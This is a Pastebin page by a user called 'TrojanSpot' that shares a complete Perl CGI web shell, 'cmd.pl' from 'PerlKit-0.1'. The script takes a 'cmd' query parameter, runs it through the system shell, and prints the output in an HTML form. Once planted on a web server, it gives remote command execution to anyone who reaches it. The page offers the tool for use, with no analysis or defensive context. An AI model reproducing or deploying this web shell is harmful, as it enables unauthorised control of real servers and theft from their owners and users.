TrojanSpot

Cgi-run Shell | www.pemula.info

Sep 20th, 2012
210
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.12 KB | None | 0 0
  1. #!/usr/bin/perl -I/usr/local/bandmain
  2. #
  3. # PerlKit-0.1 - [Doar userii inregistrati pot vedea linkurile. ]
  4. #
  5. # cmd.pl: Run commands on a webserver
  6.  
  7. use strict;
  8.  
  9. my ($cmd, %FORM);
  10.  
  11. $|=1;
  12.  
  13. print "Content-Type: text/html\r\n";
  14. print "\r\n";
  15.  
  16. # Get parameters
  17.  
  18. %FORM = parse_parameters($ENV{'QUERY_STRING'});
  19.  
  20. if(defined $FORM{'cmd'}) {
  21.   $cmd = $FORM{'cmd'};
  22. }
  23.  
  24. print '<HTML>
  25. <body>
  26. <form action="" method="GET">
  27. <input type="text" name="cmd" size=45 value="' . $cmd . '">
  28. <input type="submit" value="Run">
  29. </form>
  30. <pre>';
  31.  
  32. if(defined $FORM{'cmd'}) {
  33.   print "Results of '$cmd' execution:\n\n";
  34.   print "-"x80;
  35.   print "\n";
  36.  
  37.   open(CMD, "($cmd) 2>&1 |") || print "Could not execute command";
  38.  
  39.   while(<CMD>) {
  40.     print;
  41.   }
  42.  
  43.   close(CMD);
  44.   print "-"x80;
  45.   print "\n";
  46. }
  47.  
  48. print "</pre>";
  49.  
  50. sub parse_parameters ($) {
  51.   my %ret;
  52.  
  53.   my $input = shift;
  54.  
  55.   foreach my $pair (split('&', $input)) {
  56.     my ($var, $value) = split('=', $pair, 2);
  57.    
  58.     if($var) {
  59.       $value =~ s/\+/ /g ;
  60.       $value =~ s/%(..)/pack('c',hex($1))/eg;
  61.  
  62.       $ret{$var} = $value;
  63.     }
  64.   }
  65.  
  66.   return %ret;
  67. }
Add Comment
Please, Sign In to add comment